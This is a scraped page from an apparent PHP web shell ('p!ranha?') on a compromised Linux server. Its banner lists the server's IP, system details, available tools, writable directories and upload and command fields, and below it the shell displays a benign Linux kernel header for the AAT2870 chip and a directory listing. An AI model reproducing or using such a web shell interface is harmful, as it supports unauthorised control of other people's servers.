p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.13
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/modules/3.10.0-1160.105.1.el7.x86_64/build/include/linux/mfd/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /usr/lib/modules/3.10.0-1160.105.1.el7.x86_64/build/include/linux/mfd/aat2870.h
/*
 * linux/include/linux/mfd/aat2870.h
 *
 * Copyright (c) 2011, NVIDIA Corporation.
 * Author: Jin Park <jinyoungp@nvidia.com>
 *
 * This program is free software; you can redistribute it and/or
 * modify it under the terms of the GNU General Public License
 * version 2 as published by the Free Software Foundation.
 *
 * This program is distributed in the hope that it will be useful, but
 * WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
 * General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
 * 02110-1301 USA
 */

#ifndef __LINUX_MFD_AAT2870_H
#define __LINUX_MFD_AAT2870_H

#include <linux/debugfs.h>
#include <linux/i2c.h>

/* Register offsets */
#define AAT2870_BL_CH_EN	0x00
#define AAT2870_BLM		0x01
#define AAT2870_BLS		0x02
#define AAT2870_BL1		0x03
#define AAT2870_BL2		0x04
#define AAT2870_BL3		0x05
#define AAT2870_BL4		0x06
#define AAT2870_BL5		0x07
#define AAT2870_BL6		0x08
#define AAT2870_BL7		0x09
#define AAT2870_BL8		0x0A
#define AAT2870_FLR		0x0B
#define AAT2870_FM		0x0C
#define AAT2870_FS		0x0D
#define AAT2870_ALS_CFG0	0x0E
#define AAT2870_ALS_CFG1	0x0F
#define AAT2870_ALS_CFG2	0x10
#define AAT2870_AMB		0x11
#define AAT2870_ALS0		0x12
#define AAT2870_ALS1		0x13
#define AAT2870_ALS2		0x14
#define AAT2870_ALS3		0x15
#define AAT2870_ALS4		0x16
#define AAT2870_ALS5		0x17
#define AAT2870_ALS6		0x18
#define AAT2870_ALS7		0x19
#define AAT2870_ALS8		0x1A
#define AAT2870_ALS9		0x1B
#define AAT2870_ALSA		0x1C
#define AAT2870_ALSB		0x1D
#define AAT2870_ALSC		0x1E
#define AAT2870_ALSD		0x1F
#define AAT2870_ALSE		0x20
#define AAT2870_ALSF		0x21
#define AAT2870_SUB_SET		0x22
#define AAT2870_SUB_CTRL	0x23
#define AAT2870_LDO_AB		0x24
#define AAT2870_LDO_CD		0x25
#define AAT2870_LDO_EN		0x26
#define AAT2870_REG_NUM		0x27

/* Device IDs */
enum aat2870_id {
	AAT2870_ID_BL,
	AAT2870_ID_LDOA,
	AAT2870_ID_LDOB,
	AAT2870_ID_LDOC,
	AAT2870_ID_LDOD
};

/* Backlight channels */
#define AAT2870_BL_CH1		0x01
#define AAT2870_BL_CH2		0x02
#define AAT2870_BL_CH3		0x04
#define AAT2870_BL_CH4		0x08
#define AAT2870_BL_CH5		0x10
#define AAT2870_BL_CH6		0x20
#define AAT2870_BL_CH7		0x40
#define AAT2870_BL_CH8		0x80
#define AAT2870_BL_CH_ALL	0xFF

/* Backlight current magnitude (mA) */
enum aat2870_current {
	AAT2870_CURRENT_0_45 = 1,
	AAT2870_CURRENT_0_90,
	AAT2870_CURRENT_1_80,
	AAT2870_CURRENT_2_70,
	AAT2870_CURRENT_3_60,
	AAT2870_CURRENT_4_50,
	AAT2870_CURRENT_5_40,
	AAT2870_CURRENT_6_30,
	AAT2870_CURRENT_7_20,
	AAT2870_CURRENT_8_10,
	AAT2870_CURRENT_9_00,
	AAT2870_CURRENT_9_90,
	AAT2870_CURRENT_10_8,
	AAT2870_CURRENT_11_7,
	AAT2870_CURRENT_12_6,
	AAT2870_CURRENT_13_5,
	AAT2870_CURRENT_14_4,
	AAT2870_CURRENT_15_3,
	AAT2870_CURRENT_16_2,
	AAT2870_CURRENT_17_1,
	AAT2870_CURRENT_18_0,
	AAT2870_CURRENT_18_9,
	AAT2870_CURRENT_19_8,
	AAT2870_CURRENT_20_7,
	AAT2870_CURRENT_21_6,
	AAT2870_CURRENT_22_5,
	AAT2870_CURRENT_23_4,
	AAT2870_CURRENT_24_3,
	AAT2870_CURRENT_25_2,
	AAT2870_CURRENT_26_1,
	AAT2870_CURRENT_27_0,
	AAT2870_CURRENT_27_9
};

struct aat2870_register {
	bool readable;
	bool writeable;
	u8 value;
};

struct aat2870_data {
	struct device *dev;
	struct i2c_client *client;

	struct mutex io_lock;
	struct aat2870_register *reg_cache; /* register cache */
	int en_pin; /* enable GPIO pin (if < 0, ignore this value) */
	bool is_enable;

	/* init and uninit for platform specified */
	int (*init)(struct aat2870_data *aat2870);
	void (*uninit)(struct aat2870_data *aat2870);

	/* i2c io funcntions */
	int (*read)(struct aat2870_data *aat2870, u8 addr, u8 *val);
	int (*write)(struct aat2870_data *aat2870, u8 addr, u8 val);
	int (*update)(struct aat2870_data *aat2870, u8 addr, u8 mask, u8 val);

	/* for debugfs */
	struct dentry *dentry_root;
	struct dentry *dentry_reg;
};

struct aat2870_subdev_info {
	int id;
	const char *name;
	void *platform_data;
};

struct aat2870_platform_data {
	int en_pin; /* enable GPIO pin (if < 0, ignore this value) */

	struct aat2870_subdev_info *subdevs;
	int num_subdevs;

	/* init and uninit for platform specified */
	int (*init)(struct aat2870_data *aat2870);
	void (*uninit)(struct aat2870_data *aat2870);
};

struct aat2870_bl_platform_data {
	/* backlight channels, default is AAT2870_BL_CH_ALL */
	int channels;
	/* backlight current magnitude, default is AAT2870_CURRENT_27_9 */
	int max_current;
	/* maximum brightness, default is 255 */
	int max_brightness;
};

#endif /* __LINUX_MFD_AAT2870_H */
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
January 19 2024 08:12:51
0 / 0
0755
abx500
--
January 19 2024 08:12:50
0 / 0
0755
arizona
--
January 19 2024 08:12:50
0 / 0
0755
da9052
--
January 19 2024 08:12:50
0 / 0
0755
da9055
--
January 19 2024 08:12:50
0 / 0
0755
pcf50633
--
January 19 2024 08:12:50
0 / 0
0755
pm8xxx
--
January 19 2024 08:12:50
0 / 0
0755
samsung
--
January 19 2024 08:12:50
0 / 0
0755
syscon
--
January 19 2024 08:12:50
0 / 0
0755
wm831x
--
January 19 2024 08:12:50
0 / 0
0755
wm8350
--
January 19 2024 08:12:50
0 / 0
0755
wm8994
--
January 19 2024 08:12:50
0 / 0
0755
88pm80x.h
10.035 KB
November 06 2023 09:15:52
0 / 0
0644
88pm860x.h
13.334 KB
November 06 2023 09:15:52
0 / 0
0644
aat2870.h
4.542 KB
November 06 2023 09:15:52
0 / 0
0644
ab3100.h
4.162 KB
November 06 2023 09:15:52
0 / 0
0644
abx500.h
11.754 KB
November 06 2023 09:15:52
0 / 0
0644
adp5520.h
8.3 KB
November 06 2023 09:15:52
0 / 0
0644
as3711.h
2.85 KB
November 06 2023 09:15:52
0 / 0
0644
asic3.h
12.221 KB
November 06 2023 09:15:52
0 / 0
0644
core.h
3.33 KB
November 06 2023 09:15:52
0 / 0
0644
cros_ec.h
4.868 KB
November 06 2023 09:15:52
0 / 0
0644
cros_ec_commands.h
39.509 KB
November 06 2023 09:15:52
0 / 0
0644
da903x.h
7.011 KB
November 06 2023 09:15:52
0 / 0
0644
davinci_voicecodec.h
3.368 KB
November 06 2023 09:15:52
0 / 0
0644
db8500-prcmu.h
21.787 KB
November 06 2023 09:15:52
0 / 0
0644
dbx500-prcmu.h
15.481 KB
November 06 2023 09:15:52
0 / 0
0644
ds1wm.h
0.415 KB
November 06 2023 09:15:52
0 / 0
0644
ezx-pcap.h
7.708 KB
November 06 2023 09:15:52
0 / 0
0644
htc-egpio.h
1.728 KB
November 06 2023 09:15:52
0 / 0
0644
htc-pasic3.h
1.196 KB
November 06 2023 09:15:52
0 / 0
0644
intel_msic.h
15.992 KB
November 06 2023 09:15:52
0 / 0
0644
janz.h
1.028 KB
November 06 2023 09:15:52
0 / 0
0644
lm3533.h
2.588 KB
November 06 2023 09:15:52
0 / 0
0644
lp8788-isink.h
1.189 KB
November 06 2023 09:15:52
0 / 0
0644
lp8788.h
8.844 KB
November 06 2023 09:15:52
0 / 0
0644
lpc_ich.h
1.158 KB
November 06 2023 09:15:52
0 / 0
0644
max77686-private.h
6.803 KB
November 06 2023 09:15:52
0 / 0
0644
max77686.h
2.688 KB
November 06 2023 09:15:52
0 / 0
0644
max77693-private.h
11.157 KB
November 06 2023 09:15:52
0 / 0
0644
max77693.h
1.612 KB
November 06 2023 09:15:52
0 / 0
0644
max8907.h
7.521 KB
November 06 2023 09:15:52
0 / 0
0644
max8925.h
7.178 KB
November 06 2023 09:15:52
0 / 0
0644
max8997-private.h
12.417 KB
November 06 2023 09:15:52
0 / 0
0644
max8997.h
6.057 KB
November 06 2023 09:15:52
0 / 0
0644
max8998-private.h
4.838 KB
November 06 2023 09:15:52
0 / 0
0644
max8998.h
3.755 KB
November 06 2023 09:15:52
0 / 0
0644
mc13783.h
2.874 KB
November 06 2023 09:15:52
0 / 0
0644
mc13892.h
0.916 KB
November 06 2023 09:15:52
0 / 0
0644
mc13xxx.h
6.166 KB
November 06 2023 09:15:52
0 / 0
0644
mcp.h
1.747 KB
November 06 2023 09:15:52
0 / 0
0644
menelaus.h
1.396 KB
November 06 2023 09:15:52
0 / 0
0644
palmas.h
109.979 KB
November 06 2023 09:15:52
0 / 0
0644
rc5t583.h
9.775 KB
November 06 2023 09:15:52
0 / 0
0644
rdc321x.h
0.539 KB
November 06 2023 09:15:52
0 / 0
0644
retu.h
0.706 KB
November 06 2023 09:15:52
0 / 0
0644
rtsx_common.h
1.44 KB
November 06 2023 09:15:52
0 / 0
0644
rtsx_pci.h
40.146 KB
November 06 2023 09:15:52
0 / 0
0644
rtsx_usb.h
15.951 KB
November 06 2023 09:15:52
0 / 0
0644
si476x-core.h
15.241 KB
November 06 2023 09:15:52
0 / 0
0644
si476x-platform.h
6.448 KB
November 06 2023 09:15:52
0 / 0
0644
si476x-reports.h
4.893 KB
November 06 2023 09:15:52
0 / 0
0644
smsc.h
2.853 KB
November 06 2023 09:15:52
0 / 0
0644
sta2x11-mfd.h
18.72 KB
November 06 2023 09:15:52
0 / 0
0644
stmpe.h
6.642 KB
November 06 2023 09:15:52
0 / 0
0644
syscon.h
0.854 KB
November 06 2023 09:15:52
0 / 0
0644
t7l66xb.h
0.798 KB
November 06 2023 09:15:52
0 / 0
0644
tc3589x.h
5.674 KB
November 06 2023 09:15:52
0 / 0
0644
tc6387xb.h
0.504 KB
November 06 2023 09:15:52
0 / 0
0644
tc6393xb.h
1.512 KB
November 06 2023 09:15:52
0 / 0
0644
ti_am335x_tscadc.h
4.333 KB
November 06 2023 09:15:52
0 / 0
0644
ti_ssp.h
2.818 KB
November 06 2023 09:15:52
0 / 0
0644
tmio.h
4.211 KB
November 06 2023 09:15:52
0 / 0
0644
tps6105x.h
3.214 KB
November 06 2023 09:15:52
0 / 0
0644
tps6507x.h
4.961 KB
November 06 2023 09:15:52
0 / 0
0644
tps65090.h
3.473 KB
November 06 2023 09:15:52
0 / 0
0644
tps65217.h
8.557 KB
November 06 2023 09:15:52
0 / 0
0644
tps6586x.h
2.466 KB
November 06 2023 09:15:52
0 / 0
0644
tps65910.h
30.581 KB
November 06 2023 09:15:52
0 / 0
0644
tps65912.h
9.439 KB
November 06 2023 09:15:52
0 / 0
0644
tps80031.h
19.589 KB
November 06 2023 09:15:52
0 / 0
0644
twl4030-audio.h
8.536 KB
November 06 2023 09:15:52
0 / 0
0644
twl6040.h
6.809 KB
November 06 2023 09:15:52
0 / 0
0644
ucb1x00.h
6.545 KB
November 06 2023 09:15:52
0 / 0
0644
viperboard.h
2.951 KB
November 06 2023 09:15:52
0 / 0
0644
wl1273-core.h
8.297 KB
November 06 2023 09:15:52
0 / 0
0644
wm8400-audio.h
69.796 KB
November 06 2023 09:15:52
0 / 0
0644
wm8400-private.h
58.035 KB
November 06 2023 09:15:52
0 / 0
0644
wm8400.h
1.185 KB
November 06 2023 09:15:52
0 / 0
0644